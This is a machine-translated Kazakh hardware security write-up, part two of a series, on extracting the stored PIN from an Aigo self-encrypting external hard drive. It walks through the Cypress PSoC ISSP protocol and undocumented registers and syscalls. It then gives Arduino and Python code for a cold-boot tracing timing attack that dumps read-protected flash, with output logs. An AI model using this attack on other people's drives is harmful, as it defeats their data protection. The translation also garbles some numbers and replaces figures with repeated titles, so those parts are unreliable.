Aigo өзін-өзі шифрлайтын сыртқы HDD дискісін кері қайтару және бұзу. 2-бөлім: Cypress PSoC жүйесінен қоқыс алу

Бұл сыртқы өзін-өзі шифрлайтын дискілерді бұзу туралы мақаланың екінші және соңғы бөлігі. Еске сала кетейін, жақында бір әріптесім маған Patriot (Aigo) SK8671 қатты дискісін әкелді, мен оны кері айналдыруды шештім, енді мен одан шыққан нәрсені бөлісемін. Әрі қарай оқымас бұрын, міндетті түрде оқыңыз бірінші бөлім мақалалар.

4. Біз ішкі PSoC флэш-дискісінен демп алуды бастаймыз
5. ISSP протоколы
– 5.1. ISSP дегеніміз не
– 5.2. Векторларды құпиясыздандыру
– 5.3. PSoC-пен байланыс
– 5.4. Чиптегі регистрлерді анықтау
– 5.5. Қауіпсіздік биттері
6. Бірінші (сәтсіз) шабуыл: ROMX
7. Екінші шабуыл: Cold Boot Tracing
– 7.1. Іске асыру
– 7.2. Нәтижені оқу
– 7.3. Flash екілік қайта құру
– 7.4. PIN кодын сақтау мекенжайын табу
– 7.5. No126 блоктың үйіндісін алу
– 7.6. PIN кодын қалпына келтіру
8. Енді не болады?
9. Қорытынды

Aigo өзін-өзі шифрлайтын сыртқы HDD дискісін кері қайтару және бұзу. 2-бөлім: Cypress PSoC жүйесінен қоқыс алу


4. Біз ішкі PSoC флэш-дискісінен демп алуды бастаймыз

Сонымен, барлығы (біз [бірінші бөлімде]() белгілегеніміздей) PIN кодтың PSoC флэш тереңдігінде сақталғанын көрсетеді. Сондықтан біз бұл жарқырау тереңдіктерін оқуымыз керек. Қажетті жұмыстың алдыңғы жағы:

  • микроконтроллермен «байланысты» бақылауға алу;
  • бұл «байланыстың» сырттан оқудан қорғалғанын тексеру әдісін табыңыз;
  • қорғауды айналып өту жолын табыңыз.

Жарамды PIN-кодты іздеудің мағынасы бар екі орын бар:

  • ішкі флэш-жад;
  • SRAM, мұнда пин-кодты пайдаланушы енгізген пин-кодпен салыстыру үшін сақтауға болады.

Болашаққа қарап, мен ISSP хаттамасының құжатталмаған мүмкіндіктерін өзгерткеннен кейін «суық жүктеуді бақылау» деп аталатын аппараттық шабуылды пайдаланып, оның қауіпсіздік жүйесін айналып өтіп, ішкі PSoC флэш-дискісін әлі де шығара алғанымды атап өтемін. Бұл маған нақты PIN кодын тікелей тастауға мүмкіндік берді.

$ ./psoc.py 
syncing: KO OK
[...]
PIN: 1 2 3 4 5 6 7 8 9

Бағдарламаның соңғы коды:

5. ISSP протоколы

5.1. ISSP дегеніміз не

Микроконтроллермен «байланыс» әртүрлі мағынаны білдіруі мүмкін: «өндірушіден жеткізушіге» сериялық хаттаманы қолданатын өзара әрекетке дейін (мысалы, Microchip PIC үшін ICSP).

Cypress-тің бұл үшін ISSP (жүйе ішіндегі сериялық бағдарламалау протоколы) деп аталатын меншікті протоколы бар, ол жартылай сипатталған. техникалық спецификация. Патент US7185162 да біраз мәлімет береді. Сондай-ақ HSSP деп аталатын OpenSource баламасы бар (оны сәл кейінірек қолданамыз). ISSP келесідей жұмыс істейді:

  • PSoC қайта жүктеңіз;
  • сиқырлы нөмірді осы PSoC сериялық деректер түйреуішіне шығару; сыртқы бағдарламалау режиміне өту;
  • «векторлар» деп аталатын ұзын разрядтық жолдар болып табылатын командаларды жіберу.

ISSP құжаттамасы бұл векторларды тек аздаған командалар үшін анықтайды:

  • Инициализация-1
  • Инициализация-2
  • Initialize-3 (3V және 5V опциялары)
  • ID-ОРНАТУ
  • READ-ID-WORD
  • SET-BLOCK-NUM: 10011111010dddddddd111, мұнда dddddddd=блок #
  • ЖАППАЙ ӨШІРУ
  • БАҒДАРЛАМАЛЫҚ БЛОК
  • ТЕКСЕРУ-ОРНАТУ
  • ОҚУ-БАЙТ: 10110aaaaaaZDDDDDDDDZ1, мұндағы DDDDDDDD = деректер шығысы, аааааа = мекенжай (6 бит)
  • WRITE-BYTE: 10010aaaaaaddddddd111, мұнда dddddddd = деректер кіріс, аааааа = мекенжай (6 бит)
  • SECURE
  • БАСҚАРУ СОМАСЫН ОРНАТУ
  • ОҚУ-ТЕКСЕРУ сомасы: 10111111001ZDDDDDDDZ110111111000ZDDDDDDDDDZ1, мұндағы DDDDDDDDDDDDDDD = деректер шығысы: құрылғының бақылау сомасы
  • БЛОКТЫ ӨШІРУ

Мысалы, Initialize-2 векторы:

1101111011100000000111 1101111011000000000111
1001111100000111010111 1001111100100000011111
1101111010100000000111 1101111010000000011111
1001111101110000000111 1101111100100110000111
1101111101001000000111 1001111101000000001111
1101111000000000110111 1101111100000000000111
1101111111100010010111

Барлық векторлардың ұзындығы бірдей: 22 бит. HSSP құжаттамасында ISSP туралы қосымша ақпарат бар: «ISSP векторы - бұл нұсқаулар жинағын білдіретін бит реттілігі».

5.2. Векторларды құпиясыздандыру

Мұнда не болып жатқанын анықтайық. Бастапқыда мен дәл осы векторлар M8C нұсқауларының өңделмеген нұсқалары деп ойладым, бірақ бұл гипотезаны тексергеннен кейін мен операциялардың опкодтары сәйкес келмейтінін білдім.

Содан жоғарыдағы векторды гуглден іздеп тауып алдым Мінеки зерттеу, онда автор егжей-тегжейлі айтпаса да, пайдалы кеңестер береді: «Әр нұсқау төрт мнемотехниканың біріне сәйкес келетін үш биттен басталады (ЖЖҚ-дан оқу, ЖЖҚ-ға жазу, регистрді оқу, регистрді жазу). Содан кейін 8 адрес биті, одан кейін 8 деректер биті (оқу немесе жазу) және соңында үш тоқтату биті бар.

Содан кейін мен Supervisory ROM (SROM) бөлімінен өте пайдалы ақпаратты жинай алдым. техникалық нұсқаулық. SROM — пайдаланушы кеңістігінде жұмыс істейтін бағдарлама коды үшін қызметтік функцияларды (Syscall сияқты) қамтамасыз ететін PSoC жүйесіндегі қатты кодталған ROM:

  • 00 сағ: SWBootReset
  • 01 сағ: ReadBlock
  • 02 сағ: WriteBlock
  • 03 сағ: EraseBlock
  • 06 сағ: кестені оқу
  • 07 сағ: Бақылау сомасы
  • 08 сағ: калибрлеу0
  • 09 сағ: калибрлеу1

Векторлық атауларды SROM функцияларымен салыстыру арқылы біз осы протокол қолдайтын әртүрлі операцияларды күтілетін SROM параметрлерімен салыстыра аламыз. Осының арқасында біз ISSP векторларының алғашқы үш биттерін декодтай аламыз:

  • 100 => “wrem”
  • 101 => “rdmem”
  • 110 => “wrreg”
  • 111 => “rdreg”

Дегенмен, чиптегі процестер туралы толық түсінікті тек PSoC-пен тікелей байланыс арқылы алуға болады.

5.3. PSoC-пен байланыс

Дирк Петрауцкийдің өзінде тасымалданды Arduino-дағы Cypress-тің HSSP коды, мен Arduino Uno-ны пернетақта тақтасының ISSP қосқышына қосу үшін қолдандым.

Зерттеу барысында мен Дирктің кодын біршама өзгерткенімді ескеріңіз. Менің өзгертуімді GitHub сайтында таба аласыз: осында және менің репозиторийімде Arduino-мен байланысуға арналған сәйкес Python сценарийі cypress_psoc_tools.

Сонымен, Arduino көмегімен мен алдымен «байланыс» үшін тек «ресми» векторларды қолдандым. Мен VERIFY пәрменін пайдаланып ішкі ROM-ды оқуға тырыстым. Күткендей, мен мұны істей алмадым. Мүмкін, флэш-диск ішінде оқуды қорғау биттері белсендірілгендіктен.

Содан кейін жадты/тізілімдерді жазу және оқу үшін өзімнің бірнеше қарапайым векторларымды жасадым. Флэш-диск қорғалған болса да, біз бүкіл SROM-ды оқи алатынымызды ескеріңіз!

5.4. Чиптегі регистрлерді анықтау

«Бөлшектелген» векторларды қарап шыққаннан кейін, мен құрылғының M0C операциялық кодтарын көрсету үшін құжатталмаған регистрлерді (8xF0-8xFA) пайдаланатынын білдім, олар қорғанысты айналып өтіп, тікелей орындалады. Бұл маған «ADD», «MOV A, X», «PUSH» немесе «JMP» сияқты әртүрлі операциялық кодтарды іске қосуға мүмкіндік берді. Олардың арқасында (олардың регистрлердегі жанама әсерлерін қарау арқылы) мен құжатталмаған регистрлердің қайсысы нақты регистрлер (A, X, SP және PC) екенін анықтадым.

Нәтижесінде HSSP_disas.rb құралы арқылы жасалған «бөлшектелген» код келесідей көрінеді (түсінікті болу үшін түсініктемелер қостым):

--== init2 ==--
[DE E0 1C] wrreg CPU_F (f7), 0x00   # сброс флагов
[DE C0 1C] wrreg SP (f6), 0x00      # сброс SP
[9F 07 5C] wrmem KEY1, 0x3A     # обязательный аргумент для SSC
[9F 20 7C] wrmem KEY2, 0x03     # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00     # сброс PC (MSB) ...
[DE 80 7C] wrreg PCl (f4), 0x03     # (LSB) ... до 3 ??
[9F 70 1C] wrmem POINTER, 0x80      # RAM-указатель для выходных данных
[DF 26 1C] wrreg opc1 (f9), 0x30        # Опкод 1 => "HALT"
[DF 48 1C] wrreg opc2 (fa), 0x40        # Опкод 2 => "NOP"
[9F 40 3C] wrmem BLOCKID, 0x01  # BLOCK ID для вызова SSC
[DE 00 DC] wrreg A (f0), 0x06       # номер "Syscall" : TableRead
[DF 00 1C] wrreg opc0 (f8), 0x00        # Опкод для SSC, "Supervisory SROM Call"
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12    # Недокумментированная операция: выполнить внешний опкод

5.5. Қауіпсіздік биттері

Осы кезеңде мен PSoC-пен байланыса аламын, бірақ менде флэш-дискінің қауіпсіздік биттері туралы сенімді ақпарат әлі жоқ. Мені Cypress құрылғының пайдаланушысына қорғаныс белсендірілгенін тексеру үшін ешқандай құрал бермегені таң қалдырды. Мен Cypress ұсынған HSSP коды Дирк модификациясын шығарғаннан кейін жаңартылғанын түсіну үшін Google-ді тереңірек зерттедім. Міне! Бұл жаңа вектор пайда болды:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[9F A0 1C] wrmem 0xFD, 0x00 # неизвестные аргументы
[9F E0 1C] wrmem 0xFF, 0x00 # аналогично
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 02 1C] wrreg A (f0), 0x10   # недокументированный syscall !
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Бұл векторды пайдалана отырып (psoc.py ішіндегі read_security_data бөлімін қараңыз) біз SRAM ішіндегі барлық қауіпсіздік биттерін 0x80 деңгейінде аламыз, мұнда қорғалған блокта екі бит бар.

Нәтиже көңілсіз: бәрі «сыртқы оқу мен жазуды өшіру» режимінде қорғалған. Сондықтан біз флэш-дисктен ештеңе оқи алмаймыз, бірақ ештеңе жаза алмаймыз (мысалы, ROM дамперін орнату үшін). Ал қорғанысты өшірудің жалғыз жолы - бүкіл чипті толығымен өшіру. 🙁

6. Бірінші (сәтсіз) шабуыл: ROMX

Дегенмен, біз келесі трюкті қолданып көруге болады: бізде ерікті опкодтарды орындау мүмкіндігі болғандықтан, флэш-жадты оқу үшін қолданылатын ROMX неге орындамасқа? Бұл тәсілдің табысқа жету мүмкіндігі жоғары. Өйткені SROM-дан деректерді оқитын ReadBlock функциясы (векторлар пайдаланады) оның ISSP-тен шақырылғанын тексереді. Дегенмен, ROMX операциялық кодында мұндай тексеру болмауы мүмкін. Міне, Python коды (Arduino кодына бірнеше көмекші сыныптарды қосқаннан кейін):

for i in range(0, 8192):
    write_reg(0xF0, i>>8)       # A = 0
    write_reg(0xF3, i&0xFF)     # X = 0
    exec_opcodes("x28x30x40")    # ROMX, HALT, NOP
    byte = read_reg(0xF0)       # ROMX reads ROM[A|X] into A
    print "%02x" % ord(byte[0]) # print ROM byte

Өкінішке орай, бұл код жұмыс істемейді. 🙁 Дәлірек айтқанда, ол жұмыс істейді, бірақ нәтижеде біз өз операциялық кодтарды аламыз (0x28 0x30 0x40)! Құрылғының сәйкес функционалдығы оқудан қорғау элементі деп ойламаймын. Бұл инженерлік трюк сияқты: сыртқы опкодтарды орындау кезінде ROM шинасы уақытша буферге қайта бағытталады.

7. Екінші шабуыл: Cold Boot Tracing

ROMX трюктері жұмыс істемегендіктен, мен бұл трюктің басқа нұсқасы туралы ойлана бастадым - басылымда сипатталған «Микроконтроллердің микробағдарламаны қорғауға тым көп жарық түсіру».

7.1. Іске асыру

ISSP құжаттамасы CHECKSUM-SETUP үшін келесі векторды береді:

[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A
[9F 20 7C] wrmem KEY2, 0x03
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[9F 40 1C] wrmem BLOCKID, 0x00
[DE 00 FC] wrreg A (f0), 0x07
[DF 00 1C] wrreg opc0 (f8), 0x00
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Бұл құжаттамада көрсетілгендей SROM функциясын 0x07 деп атайды (курсив менікі):

Бұл функция бақылау сомасын тексеру. Ол нөлден бастап бір флэш-банктегі пайдаланушы көрсеткен блоктар санының 16-биттік бақылау сомасын есептейді. BLOCKID параметрі бақылау сомасын есептеу кезінде қолданылатын блоктар санын беру үшін пайдаланылады. «1» мәні тек нөлдік блок үшін бақылау сомасын есептейді; ал «0» флэш-банктің барлық 256 блогының жалпы бақылау сомасын есептеуге әкеледі. 16-биттік бақылау сомасы KEY1 және KEY2 арқылы қайтарылады. KEY1 параметрі бақылау сомасының төменгі ретті 8 биттерін, ал KEY2 параметрі жоғары ретті 8 биттерін сақтайды. Бірнеше флэш банкі бар құрылғылар үшін бақылау сомасы функциясы әрқайсысы үшін бөлек шақырылады. Ол жұмыс істейтін банк нөмірі FLS_PR1 регистрімен орнатылады (ондағы мақсатты флэш-банкке сәйкес бит орнату арқылы).

Бұл қарапайым бақылау сомасы екенін ескеріңіз: байттар бірінен соң бірі қосылады; сәнді CRC ерекшеліктері жоқ. Сонымен қатар, M8C ядросында регистрлердің өте аз жиынтығы бар екенін біле отырып, мен бақылау сомасын есептеу кезінде аралық мәндер сайып келгенде шығысқа өтетін бірдей айнымалыларда жазылады деп ойладым: KEY1 (0xF8) / KEY2 ( 0xF9).

Теориялық тұрғыдан менің шабуылым келесідей көрінеді:

  1. Біз ISSP арқылы қосыламыз.
  2. CHECKSUM-SETUP векторы арқылы бақылау сомасын есептеуді бастаймыз.
  3. Белгіленген T уақытынан кейін процессорды қайта жүктейміз.
  4. Ағымдағы бақылау сомасын C алу үшін ЖЖҚ оқимыз.
  5. Әр жолы T мәнін аздап арттыра отырып, 3 және 4-қадамдарды қайталаңыз.
  6. Біз флэш-дискіден деректерді ағымдағыдан алдыңғы бақылау сомасын C шегеру арқылы қалпына келтіреміз.

Дегенмен, мәселе бар: біз қайта жүктегеннен кейін жіберуіміз керек Initialize-1 векторы KEY1 және KEY2 жазбаларын қайта жазады:

1100101000000000000000  # Магия, переводящая PSoC в режим программирования
nop
nop
nop
nop
nop
[DE E0 1C] wrreg CPU_F (f7), 0x00
[DE C0 1C] wrreg SP (f6), 0x00
[9F 07 5C] wrmem KEY1, 0x3A # контрольная сумма перезаписывается здесь
[9F 20 7C] wrmem KEY2, 0x03 # и здесь
[DE A0 1C] wrreg PCh (f5), 0x00
[DE 80 7C] wrreg PCl (f4), 0x03
[9F 70 1C] wrmem POINTER, 0x80
[DF 26 1C] wrreg opc1 (f9), 0x30
[DF 48 1C] wrreg opc2 (fa), 0x40
[DE 01 3C] wrreg A (f0), 0x09   # SROM-функция 9
[DF 00 1C] wrreg opc0 (f8), 0x00    # SSC
[DF E2 5C] wrreg CPU_SCR0 (ff), 0x12

Бұл код Calibrate1 (SROM функциясы 9) қоңырау шалу арқылы құнды бақылау сомасын қайта жазады... Мүмкін біз бағдарламалау режиміне өту үшін сиқырлы нөмірді (жоғарыдағы кодтың басынан бастап) жіберіп, содан кейін SRAM оқи аламыз ба? Және иә, ол жұмыс істейді! Бұл шабуылды жүзеге асыратын Arduino коды өте қарапайым:

case Cmnd_STK_START_CSUM:
    checksum_delay = ((uint32_t)getch())<<24;
    checksum_delay |= ((uint32_t)getch())<<16;
    checksum_delay |= ((uint32_t)getch())<<8;
    checksum_delay |= getch();
    if(checksum_delay > 10000) {
        ms_delay = checksum_delay/1000;
        checksum_delay = checksum_delay%1000;
    }
    else {
        ms_delay = 0;
    }
    send_checksum_v();
    if(checksum_delay)
        delayMicroseconds(checksum_delay);
    delay(ms_delay);
    start_pmode();

  1. Checkum_delay.
  2. Бақылау сомасын есептеуді іске қосыңыз (send_checksum_v).
  3. Белгілі бір уақыт кезеңін күтіңіз; келесі қателіктерді ескере отырып:
    • Мен мұның не болатынын білмейінше, көп уақытты босқа жібердім кідіріс микросекундтар 16383 мкс аспайтын кідірістермен ғана дұрыс жұмыс істейді;
    • содан кейін кідіріс Микросекундтар, егер оған кіріс ретінде 0 берілсе, мүлдем дұрыс емес жұмыс істейтінін анықтағанша қайтадан бірдей уақытты өлтірдім!
  4. PSoC-ны бағдарламалау режиміне қайта жүктеңіз (біз тек сиқырлы нөмірді инициализация векторларын жібермей жібереміз).

Python тіліндегі соңғы код:

for delay in range(0, 150000):  # задержка в микросекундах
    for i in range(0, 10):      # количество считывания для каждойиз задержек
        try:
            reset_psoc(quiet=True)  # перезагрузка и вход в режим программирования
            send_vectors()      # отправка инициализирующих векторов
            ser.write("x85"+struct.pack(">I", delay)) # вычислить контрольную сумму + перезагрузиться после задержки
            res = ser.read(1)       # считать arduino ACK
        except Exception as e:
            print e
            ser.close()
            os.system("timeout -s KILL 1s picocom -b 115200 /dev/ttyACM0 2>&1 > /dev/null")
            ser = serial.Serial('/dev/ttyACM0', 115200, timeout=0.5) # открыть последовательный порт
            continue
        print "%05d %02X %02X %02X" % (delay,      # считать RAM-байты
                read_regb(0xf1),
                read_ramb(0xf8),
                read_ramb(0xf9))

Қысқаша айтқанда, бұл код не істейді:

  1. PSoC қайта жүктейді (және оған сиқырлы нөмірді жібереді).
  2. Толық инициализация векторларын жібереді.
  3. Arduino функциясын Cmnd_STK_START_CSUM (0x85) шақырады, мұнда микросекундтардағы кідіріс параметр ретінде беріледі.
  4. Бақылау сомасын (0xF8 және 0xF9) және құжатталмаған 0xF1 регистрін оқиды.

Бұл код 10 микросекундта 1 рет орындалады. 0xF1 мұнда енгізілген, себебі ол бақылау сомасын есептеу кезінде өзгерген жалғыз регистр болды. Мүмкін бұл арифметикалық логикалық бірлік қолданатын уақытша айнымалының қандай да бір түрі. Arduino өмір белгілерін көрсетуді тоқтатқан кезде, пикокомды пайдаланып Arduino-ны қалпына келтіру үшін қолданатын ұсқынсыз бұзуға назар аударыңыз (неге екенін білмеймін).

7.2. Нәтижені оқу

Python сценарийінің нәтижесі келесідей көрінеді (оқылуы үшін жеңілдетілген):

DELAY F1 F8 F9  # F1 – вышеупомянутый неизвестный регистр
                  # F8 младший байт контрольной суммы
                  # F9 старший байт контрольной суммы

00000 03 E1 19
[...]
00016 F9 00 03
00016 F9 00 00
00016 F9 00 03
00016 F9 00 03
00016 F9 00 03
00016 F9 00 00  # контрольная сумма сбрасывается в 0
00017 FB 00 00
[...]
00023 F8 00 00
00024 80 80 00  # 1-й байт: 0x0080-0x0000 = 0x80 
00024 80 80 00
00024 80 80 00
[...]
00057 CC E7 00   # 2-й байт: 0xE7-0x80: 0x67
00057 CC E7 00
00057 01 17 01  # понятия не имею, что здесь происходит
00057 01 17 01
00057 01 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 D0 17 01
00058 F8 E7 00  # Снова E7?
00058 D0 17 01
[...]
00059 E7 E7 00
00060 17 17 00  # Хмммммм
[...]
00062 00 17 00
00062 00 17 00
00063 01 17 01  # А, дошло! Вот он же перенос в старший байт
00063 01 17 01
[...]
00075 CC 17 01  # Итак, 0x117-0xE7: 0x30

Айтпақшы, бізде мәселе бар: біз нақты бақылау сомасымен жұмыс істейтіндіктен, нөлдік байт оқылған мәнді өзгертпейді. Дегенмен, бүкіл есептеу процедурасы (8192 байт) 0,1478 секундқа созылатындықтан (әр орындалған сайын шамалы өзгерістермен), бұл шамамен бір байт үшін 18,04 мкс-ке тең, біз бұл уақытты тиісті уақытта бақылау сомасының мәнін тексеру үшін пайдалана аламыз. Алғашқы іске қосулар үшін бәрі оңай оқылады, өйткені есептеу процедурасының ұзақтығы әрқашан бірдей. Дегенмен, бұл қоқыстың соңы дәлірек емес, өйткені әрбір іске қосудағы «уақыт бойынша шамалы ауытқулар» қосылып, маңызды болады:

134023 D0 02 DD
134023 CC D2 DC
134023 CC D2 DC
134023 CC D2 DC
134023 FB D2 DC
134023 3F D2 DC
134023 CC D2 DC
134024 02 02 DC
134024 CC D2 DC
134024 F9 02 DC
134024 03 02 DD
134024 21 02 DD
134024 02 D2 DC
134024 02 02 DC
134024 02 02 DC
134024 F8 D2 DC
134024 F8 D2 DC
134025 CC D2 DC
134025 EF D2 DC
134025 21 02 DD
134025 F8 D2 DC
134025 21 02 DD
134025 CC D2 DC
134025 04 D2 DC
134025 FB D2 DC
134025 CC D2 DC
134025 FB 02 DD
134026 03 02 DD
134026 21 02 DD

Бұл әрбір микросекундтық кешігу үшін 10 демп. Флэш-дискінің барлық 8192 байтты демпингке арналған жалпы жұмыс уақыты шамамен 48 сағатты құрайды.

7.3. Flash екілік қайта құру

Мен барлық уақыттағы ауытқуларды ескере отырып, флэш-дискінің бағдарламалық кодын толығымен қайта құратын кодты жазуды әлі аяқтаған жоқпын. Дегенмен, мен бұл кодтың басын қалпына келтірдім. Мұны дұрыс жасағаныма көз жеткізу үшін мен оны m8cdis арқылы бөлшектедім:

0000: 80 67   jmp  0068h     ; Reset vector
[...]
0068: 71 10   or  F,010h
006a: 62 e3 87 mov  reg[VLT_CR],087h
006d: 70 ef   and  F,0efh
006f: 41 fe fb and  reg[CPU_SCR1],0fbh
0072: 50 80   mov  A,080h
0074: 4e    swap A,SP
0075: 55 fa 01 mov  [0fah],001h
0078: 4f    mov  X,SP
0079: 5b    mov  A,X
007a: 01 03   add  A,003h
007c: 53 f9   mov  [0f9h],A
007e: 55 f8 3a mov  [0f8h],03ah
0081: 50 06   mov  A,006h
0083: 00    ssc
[...]
0122: 18    pop  A
0123: 71 10   or  F,010h
0125: 43 e3 10 or  reg[VLT_CR],010h
0128: 70 00   and  F,000h ; Paging mode changed from 3 to 0
012a: ef 62   jacc 008dh
012c: e0 00   jacc 012dh
012e: 71 10   or  F,010h
0130: 62 e0 02 mov  reg[OSC_CR0],002h
0133: 70 ef   and  F,0efh
0135: 62 e2 00 mov  reg[INT_VC],000h
0138: 7c 19 30 lcall 1930h
013b: 8f ff   jmp  013bh
013d: 50 08   mov  A,008h
013f: 7f    ret

Өте орынды көрінеді!

7.4. PIN кодын сақтау мекенжайын табу

Енді бақылау сомасын қажетті уақытта оқи алатындықтан, оның қалай және қайда өзгеретінін оңай тексере аламыз:

  • қате PIN кодын енгізіңіз;
  • пин кодын өзгерту.

Біріншіден, шамамен сақтау мекенжайын табу үшін мен қайта жүктегеннен кейін 10 мс қадаммен бақылау сомасының демпін алдым. Содан кейін мен қате PIN кодты енгіздім және солай жасадым.

Нәтиже өте жағымды болмады, өйткені көптеген өзгерістер болды. Бірақ соңында мен бақылау сомасының 120000 140000 мкс пен 0 XNUMX мкс кешігу арасында өзгергенін анықтадым. Бірақ мен көрсеткен «пинкод» мүлде дұрыс емес болды - кешіктіруMicroseconds процедурасының артефактіне байланысты, оған XNUMX берілгенде оғаш әрекеттер жасайды.

Содан кейін, 3 сағатқа жуық уақыт өткізгеннен кейін, SROM жүйесінің CheckSum қоңырауы бақылау сомасына блоктардың санын көрсететін кіріс ретінде аргумент алатынын есіме түсірдім! Бұл. біз PIN кодының сақтау мекенжайын және 64 байт блокқа дейінгі дәлдікпен «дұрыс емес әрекеттер» есептегішін оңай локализациялай аламыз.

Менің алғашқы жүгірістерім келесі нәтиже берді:

Aigo өзін-өзі шифрлайтын сыртқы HDD дискісін кері қайтару және бұзу. 2-бөлім: Cypress PSoC жүйесінен қоқыс алу

Содан кейін мен PIN кодын «123456» орнына «1234567» ауыстырдым және мынаны алдым:

Aigo өзін-өзі шифрлайтын сыртқы HDD дискісін кері қайтару және бұзу. 2-бөлім: Cypress PSoC жүйесінен қоқыс алу

Осылайша, PIN-код пен қате әрекеттердің есептегіші No126 блокта сақталған көрінеді.

7.5. No126 блоктың үйіндісін алу

№126 блок бақылау сомасын есептеудің басынан бастап 125x64x18 = 144000μs шамасында болуы керек, менің толық қоқысымда болуы керек және бұл өте орынды көрінеді. Содан кейін, көптеген жарамсыз қоқыстарды қолмен електен өткізгеннен кейін («уақыт бойынша шамалы ауытқулардың» жинақталуына байланысты) мен осы байттарды алдым (145527 мкс кідіріс кезінде):

Aigo өзін-өзі шифрлайтын сыртқы HDD дискісін кері қайтару және бұзу. 2-бөлім: Cypress PSoC жүйесінен қоқыс алу

PIN-код шифрланбаған түрде сақталғаны анық! Бұл мәндер, әрине, ASCII кодтарында жазылмаған, бірақ белгілі болғандай, олар сыйымдылық пернетақтасынан алынған көрсеткіштерді көрсетеді.

Соңында мен қате әрекетті есептегіштің қайда сақталғанын білу үшін тағы бірнеше сынақ жүргіздім. Міне, нәтиже:

Aigo өзін-өзі шифрлайтын сыртқы HDD дискісін кері қайтару және бұзу. 2-бөлім: Cypress PSoC жүйесінен қоқыс алу

0xFF – «15 әрекет» дегенді білдіреді және әрбір сәтсіз әрекетте ол азаяды.

7.6. PIN кодын қалпына келтіру

Міне, жоғарыда айтылғандарды біріктіретін менің жағымсыз кодым:

def dump_pin():
  pin_map = {0x24: "0", 0x25: "1", 0x26: "2", 0x27:"3", 0x20: "4", 0x21: "5",
        0x22: "6", 0x23: "7", 0x2c: "8", 0x2d: "9"}
  last_csum = 0
  pin_bytes = []
  for delay in range(145495, 145719, 16):
    csum = csum_at(delay, 1)
    byte = (csum-last_csum)&0xFF
    print "%05d %04x (%04x) => %02x" % (delay, csum, last_csum, byte)
    pin_bytes.append(byte)
    last_csum = csum
  print "PIN: ",
  for i in range(0, len(pin_bytes)):
    if pin_bytes[i] in pin_map:
      print pin_map[pin_bytes[i]],
  print

Міне, оның орындалу нәтижесі:

$ ./psoc.py 
syncing: KO OK
Resetting PSoC: KO Resetting PSoC: KO Resetting PSoC: OK
145495 53e2 (0000) => e2
145511 5407 (53e2) => 25
145527 542d (5407) => 26
145543 5454 (542d) => 27
145559 5474 (5454) => 20
145575 5495 (5474) => 21
145591 54b7 (5495) => 22
145607 54da (54b7) => 23
145623 5506 (54da) => 2c
145639 5506 (5506) => 00
145655 5533 (5506) => 2d
145671 554c (5533) => 19
145687 554e (554c) => 02
145703 554e (554e) => 00
PIN: 1 2 3 4 5 6 7 8 9

Ура! Жұмыс істейді!

Мен пайдаланған кідіріс мәндері белгілі бір PSoC - мен пайдаланғанға қатысты болуы мүмкін екенін ескеріңіз.

8. Енді не болады?

Сонымен, Aigo дискісінің контекстінде PSoC жағын қорытындылайық:

  • біз SRAM оқудан қорғалған болса да оқи аламыз;
  • Біз суық жүктеуді бақылау шабуылын қолдану және PIN кодын тікелей оқу арқылы сырғытуға қарсы қорғанысты айналып өте аламыз.

Дегенмен, синхрондау мәселелеріне байланысты біздің шабуылымызда кейбір кемшіліктер бар. Оны келесідей жақсартуға болады:

  • «суық жүктеу ізі» шабуылы нәтижесінде алынған шығыс деректерін дұрыс декодтау үшін қызметтік бағдарламаны жазыңыз;
  • дәлірек уақыт кешігулерін жасау үшін FPGA гаджетін пайдаланыңыз (немесе Arduino аппараттық таймерлерін пайдаланыңыз);
  • басқа шабуыл жасап көріңіз: әдейі қате PIN кодын енгізіңіз, салыстыру үшін дұрыс PIN коды жедел жадта сақталады деп үміттеніп, қайта жүктеңіз және жедел жадты тастаңыз. Дегенмен, Arduino-да мұны істеу оңай емес, өйткені Arduino сигналының деңгейі 5 вольтты құрайды, ал біз зерттеп отырған тақта 3,3 вольтты сигналдармен жұмыс істейді.

Көруге болатын қызықты нәрсе - оқу қорғанысын айналып өту үшін кернеу деңгейімен ойнау. Егер бұл тәсіл жұмыс істесе, біз нақты уақыт кешігулері бар бақылау сомасын оқуға сенудің орнына, флэш-дисктен мүлдем дәл деректерді ала алатын едік.

SROM ReadBlock жүйелік қоңырауы арқылы қорғау биттерін оқитындықтан, біз де солай істей аламыз сипатталған Дмитрий Недоспасов блогында - конференцияда жарияланған Крис Герлинскийдің шабуылын қайта іске асыру «REcon Brussels 2017».

Жасалуы мүмкін тағы бір қызықты нәрсе - корпусты чиптен алып тастау: SRAM қоқысын алу, құжатталмаған жүйелік қоңыраулар мен осалдықтарды анықтау.

9. Қорытынды

Сонымен, бұл дискіні қорғау көп нәрсені қажет етеді, өйткені ол PIN-кодты сақтау үшін кәдімгі («қатайтылған» емес) микроконтроллерді пайдаланады... Сонымен қатар, мен деректердің қалай жүріп жатқанын (әлі) қарастырған жоқпын. осы құрылғыда шифрлау!

Айгоға не ұсына аласыз? Шифрланған HDD дискілерінің бірнеше үлгісін талдағаннан кейін мен 2015 жылы жасадым презентация SyScan жүйесінде, онда ол бірнеше сыртқы HDD дискілерінің қауіпсіздік мәселелерін қарастырды және оларда нені жақсартуға болатыны туралы ұсыныстар берді. 🙂

